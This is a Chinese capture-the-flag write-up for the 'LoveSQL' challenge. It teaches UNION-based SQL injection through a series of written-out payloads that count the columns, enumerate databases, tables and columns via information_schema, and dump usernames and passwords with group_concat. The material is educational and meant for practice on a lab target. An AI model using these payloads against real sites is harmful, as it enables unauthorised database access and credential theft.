首页 > 数据库 >[极客大挑战 2019]LoveSQL 1

[极客大挑战 2019]LoveSQL 1

时间:2024-01-14 15:58:23浏览次数:42  
标签:极客 group union 查询 LoveSQL 2019 concat select schema

[极客大挑战 2019]LoveSQL 1

审题

又是一道SQL题,还和上面Easy_SQL是一个系列的题。

知识点

SQL注入之联合查询。

知识点详解

联合查询

基础讲解:

union联合查询定义是:可以使用UNION操作符,将多个查询结果,按行进行纵向合并。

基本语法

SELECT <字段名> FROM <表名>
UNION
SELECT <字段名> FROM <表名>

我们常用到的SQL语句有:

  1. 查询字段
1' order by X#  //X替换为数字
  1. 查询注入点
1' union select 1,2,3,···,X#
  1. 爆数据库
1' union select 1,2,database()#
  1. 爆表,只有一个数据库时
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

有多个数据库时

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='XXX'#
  1. 爆表的列
1' union select 1,2,group_concat(column_name) from information_schema.column where table_name='XXX'#
  1. 读取内容
1' union select 1,2,group_concat(XXX{列的名字}) from XXX{列所在的表的名字}#

group_concat

其中,group_concat函数的作用是将查询到的每行结果合并成一行并以逗号隔开。

比如:

没使用group_concat时,用concat查询的情况如下

ID
USER
PASSWARD

使用了group_caoncat后的结果就如下

ID,USER,PASSWARD

information_schema

nformation_schema是mysql自带的一个信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息。

所以我们将从information_schema数据库中找到表名和列名。

另外,联合查询还有有很多种查询方法,大家可以去自行查找。

参考博客:

SQL入门之第十二讲——UNION 联合查询

解题

  1. 进行SQL注入测试。当输入1'时发现有报错回显,可以猜测有SQL注入。

    image-20240114151208671

  2. 使用基础的1' show databases# 无法得到库名,我们使用联合查询。

    由上面的知识点详解的步骤开始解题

    1. 查询字段,从1一直尝试到4,发现输入1' order by 4# 时出现报错

image-20240114152452448

  1. 猜测其有三个字段,查询注入点
1' union select 1,2,3#

image-20240114152908158

通过回显可以看出2,3都是注入点。

  1. 爆库名

    1' union select 1,2,database()#
    

    image-20240114153051216

  2. 爆表名

    1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
    

    image-20240114153617445

  3. 爆列名

    1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
    

    image-20240114153812750

  4. 爆这个列名中的所有内容

    1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
    

    得到flag

    image-20240114154228516

标签:极客,group,union,查询,LoveSQL,2019,concat,select,schema
From: https://www.cnblogs.com/follycat/p/17963784

相关文章

  • P5501 [LnOI2019] 来者不拒,去者不追 题解
    题目链接:来者不拒,去者不追直接在线查询题目所给的式子是很困难的,我们考虑单点考察贡献。对于一个已经确定的式子,我们发现加入一个数或者删除一个数的贡献如图所示:如图所示,在原有的序列为\((1,2,3)\)当中,我们加入新的\(2\)进去,我们观察到每个数的贡献的变化是这样,比\(2\)......
  • 极客时间之Serverless入门
    开篇词|说来说去,到底Serverless要解决什么问题?问题一:说来说去,到底Serverless要解决什么问题?拿自己部署一套博客来说吧,常见的Node.jsMVC架构,需要购买云服务商的Linux虚拟机、RDS关系型数据库,做得好的话还要购买Redis缓存、负载均衡、CDN等等。再专业一点,可能还会考虑......
  • P5321 [BJOI2019] 送别 题解--zhengjun
    由于大家的做法需要大量分类讨论和代码量,这里提供一种不怎么分类的,容易实现的做法。首先,由于墙体会随时变化,所以直接对墙体本身维护不是很方便。我们可以牺牲一点常数,对\((i,j)\)建立四个点\(UL_{i,j},UR_{i,j},DL_{i,j},DR_{i,j}\)分别表示\((i-\varepsilon,j-\varepsilo......
  • [GXYCTF2019]BabySQli
    [GXYCTF2019]BabySQli打开是一个登录页面任意输入账号密码提示wronguser输入admin提示wrongpass,说明有admin的账号并且在页面源代码中发现一串经过编码后的字符串经过base32和base64解码后得到SQL语句使用万能密码进行尝试,得到donothackme!的结果根据源码提示,我......
  • [Keyence2019] Paper Cutting
    PaperCuttingLuoguAT_keyence2019_f题面翻译有一个\((H+1)\times(W+1)\)的网格,网格中有\(H\)条水平线和\(W\)条竖直线。你需要执行\(K\)次操作,每次沿一条水平线或竖直线将网格切开。定义一次操作的权值为切割后网格被切分的块数。定义一个操作序列的权值为\(K\)......
  • Windows Server 2016 & 2019 工作站速配脚本
    之前有一篇关于把WindowsServer打造成工作站系统的随笔,其中的步骤完全基于手工操作,一部分对系统不熟悉的朋友恐怕会找不到设置的入口。与其弄一堆截图写所谓的教程,还不如写一个程序来自动化处理。init.ps1Write-Host"`n正在启用声音服务"Set-Service-Name"Audiosrv"-Stat......
  • 洛谷 P5359 [SDOI2019] 染色
    洛谷传送门LOJ传送门dp好题。首先有一个显然的状态,设\(f_{i,x,y}\)为第\(i\)列上下两格的颜色分别为\(x,y\)的方案数。但是这样做时间复杂度至少为\(O(nm^2)\),无法接受。注意到全\(0\)列的转移是重复的。我们可以试着只在两个相邻非全\(0\)列转移。这样我们需......
  • 板刷 2019~?的省选题
    看看会不会咕/cf除非极度不可做题,否则一般都是会写的。每个题限时思考\(30\min\),如果有想法可以延长;然后自己写/看题解。BJOI2019P5322排兵布阵\(\color{blue}\texttt{以前做过}\)比较水的,略。P5323光线\(\color{blue}\texttt{以前做过}\)考虑记\(f_i\)为直接穿......
  • [GXYCTF2019]BabyUpload
    [GXYCTF2019]BabyUpload打开靶场看到个上传文件的选项,应该是上传文件漏洞上传个一句话木马文件尝试<?phpeval($_POST['cmd']);?>提示不能带有php的后缀改成jpg后缀,提示“上传类型也太露骨了吧!”修改了Content-Type为image/jpeg还是不行换了一种一句话木马GIF89a<sc......
  • [极客大挑战 2019]Secret File 1
    [极客大挑战2019]SecretFile1审题看到题目应该是一道简单的按照要求找flag的题目知识点跟着题目走解题一,查看源码找到网站进入点开发现【注意它说没看清吗】二,使用BP抓包试试发现新出现了/action.php抓到后放到Repeater中响应得到一个新的网址secr3t.php打......